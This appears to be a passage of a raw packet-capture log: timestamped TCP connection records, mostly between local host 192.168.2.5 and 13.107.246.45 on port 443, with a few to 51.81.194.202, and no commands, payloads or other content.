Oct 29, 2024 13:08:56.794032097 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.794042110 CET	60590	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.794048071 CET	443	60590	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.796638966 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.796716928 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.796812057 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.796943903 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.796978951 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.840305090 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.841321945 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.841350079 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.841754913 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.841768980 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.859822989 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.859896898 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.859968901 CET	60591	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.860167027 CET	60591	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.860179901 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.860204935 CET	60591	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.860209942 CET	443	60591	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.862786055 CET	60596	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.862808943 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.862916946 CET	60596	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.863173008 CET	60596	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.863177061 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.921562910 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.921631098 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.921796083 CET	60592	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.922085047 CET	60592	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.922102928 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.922112942 CET	60592	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.922120094 CET	443	60592	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.924685955 CET	60597	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.924714088 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.924783945 CET	60597	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.924904108 CET	60597	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.924916029 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.971075058 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.971098900 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.971146107 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.971214056 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.971303940 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.971627951 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.971669912 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.971774101 CET	60593	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.971791029 CET	443	60593	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.974452972 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.974483013 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:56.974601984 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.974818945 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:56.974833012 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.606165886 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.608545065 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.609133005 CET	60594	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.609133005 CET	60596	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.609146118 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.609148026 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.609364033 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.609736919 CET	60594	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.609739065 CET	60596	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.609744072 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.609745026 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.610101938 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.610138893 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.610471010 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.610483885 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.655558109 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.659482002 CET	60597	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.659497023 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.659832954 CET	60597	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.659837961 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.712522030 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.714132071 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.714157104 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.714567900 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.714572906 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.735358953 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.735702038 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.736920118 CET	60596	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.736968994 CET	60596	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.736968994 CET	60596	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.736987114 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.736995935 CET	443	60596	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.738460064 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.738630056 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.739109993 CET	60594	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.739140034 CET	60594	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.739156008 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.739197969 CET	60594	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.739204884 CET	443	60594	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.739963055 CET	60599	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.739995003 CET	443	60599	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.740061998 CET	60599	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.740504026 CET	60599	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.740516901 CET	443	60599	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.742013931 CET	60600	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.742086887 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.742180109 CET	60600	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.742302895 CET	60600	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.742337942 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.745158911 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.745300055 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.745335102 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.745543003 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.745543003 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.745613098 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.745613098 CET	60595	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.745646000 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.745668888 CET	443	60595	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.747737885 CET	60601	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.747772932 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.747869015 CET	60601	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.747967958 CET	60601	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.747983932 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.786339045 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.786411047 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.786673069 CET	60597	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.786689997 CET	60597	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.786698103 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.786736965 CET	60597	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.786741972 CET	443	60597	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.789007902 CET	60602	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.789041042 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.789104939 CET	60602	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.789261103 CET	60602	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.789287090 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.802643061 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:57.808325052 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:57.846703053 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.846729040 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.846781015 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.846817970 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.846836090 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.847059965 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.847074986 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.847115040 CET	60598	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.847121954 CET	443	60598	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.850186110 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.850219965 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.850411892 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.850559950 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:57.850574017 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:57.982187986 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:57.982259035 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:57.988425016 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:57.988473892 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:57.988544941 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:57.988960981 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:57.988977909 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:58.478148937 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.478684902 CET	60600	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.478723049 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.479188919 CET	60600	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.479202986 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.483127117 CET	443	60599	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.483469963 CET	60599	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.483491898 CET	443	60599	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.483880043 CET	60599	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.483886003 CET	443	60599	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.529277086 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.530401945 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.533133984 CET	60601	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.533148050 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.533252954 CET	60602	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.533286095 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.533674955 CET	60601	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.533679962 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.533765078 CET	60602	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.533776999 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.577860117 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.578347921 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.578372002 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.579001904 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.579008102 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.609064102 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.609184980 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.609580040 CET	60600	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.609632015 CET	60600	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.609664917 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.609744072 CET	60600	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.609762907 CET	443	60600	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.614321947 CET	443	60599	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.614748001 CET	443	60599	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.614824057 CET	60599	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.615948915 CET	60605	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.616009951 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.616251945 CET	60599	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.616266966 CET	443	60599	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.616296053 CET	60605	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.617518902 CET	60605	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.617553949 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.618704081 CET	60606	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.618740082 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.618801117 CET	60606	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.618930101 CET	60606	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.618948936 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.662070036 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.662144899 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.662233114 CET	60602	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.662425995 CET	60602	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.662446976 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.662472010 CET	60602	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.662483931 CET	443	60602	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.665131092 CET	60607	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.665163994 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:58.665261984 CET	60607	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.665420055 CET	60607	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:58.665446043 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.745091915 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.745116949 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.745166063 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.745176077 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.745213985 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.745488882 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.745507956 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.745517969 CET	60603	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.745523930 CET	443	60603	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.745865107 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.745902061 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.745954990 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.746010065 CET	60601	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.746254921 CET	60601	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.746258974 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.746268034 CET	60601	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.746272087 CET	443	60601	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.748775005 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.748831034 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.748831034 CET	60609	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.748866081 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.748924017 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.748927116 CET	60609	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.749087095 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.749109030 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.749175072 CET	60609	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.749190092 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.750507116 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:59.750567913 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:59.750993013 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:59.750997066 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:59.751296997 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:59.751301050 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:59.885524035 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.885812044 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.886056900 CET	60607	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.886096001 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.886152029 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.886539936 CET	60605	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.886560917 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.886684895 CET	60607	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.886697054 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.887025118 CET	60605	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.887034893 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.887052059 CET	60606	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.887072086 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.887424946 CET	60606	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:59.887429953 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:59.942540884 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:59.942612886 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:59.942622900 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:59.942661047 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:59.942688942 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:59.942759037 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:59.942770958 CET	443	60604	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:59.942783117 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:59.942805052 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:59.942821980 CET	60604	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:00.017488956 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.017568111 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.017616034 CET	60606	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.017951965 CET	60606	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.017963886 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.018068075 CET	60606	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.018073082 CET	443	60606	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.019606113 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.019702911 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.019784927 CET	60607	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.019937038 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.020083904 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.020229101 CET	60605	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.020550966 CET	60607	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.020586967 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.020612955 CET	60607	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.020627022 CET	443	60607	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.021600008 CET	60605	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.021616936 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.021640062 CET	60605	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.021650076 CET	443	60605	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.022728920 CET	60610	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.022768974 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.022991896 CET	60610	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.030436993 CET	60611	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.030467987 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.030519962 CET	60611	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.032628059 CET	60610	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.032650948 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.033135891 CET	60611	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.033149004 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.039467096 CET	60612	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.039495945 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.039561033 CET	60612	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.039707899 CET	60612	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.039720058 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.487407923 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.487950087 CET	60609	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.487978935 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.488666058 CET	60609	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.488671064 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.493343115 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.494060040 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.494096994 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.494509935 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.494524956 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.619602919 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.619805098 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.619851112 CET	60609	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.620223045 CET	60609	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.620240927 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.620254040 CET	60609	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.620259047 CET	443	60609	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.625641108 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.625669956 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.625737906 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.625762939 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.625813007 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.626374960 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.626413107 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.626440048 CET	60608	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.626454115 CET	443	60608	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.626593113 CET	60613	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.626641989 CET	443	60613	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.626705885 CET	60613	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.627428055 CET	60613	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.627441883 CET	443	60613	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.636542082 CET	60614	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.636569023 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.636815071 CET	60614	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.637043953 CET	60614	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.637053967 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.771466970 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.771924019 CET	60612	443	192.168.2.5	13.107.246.45
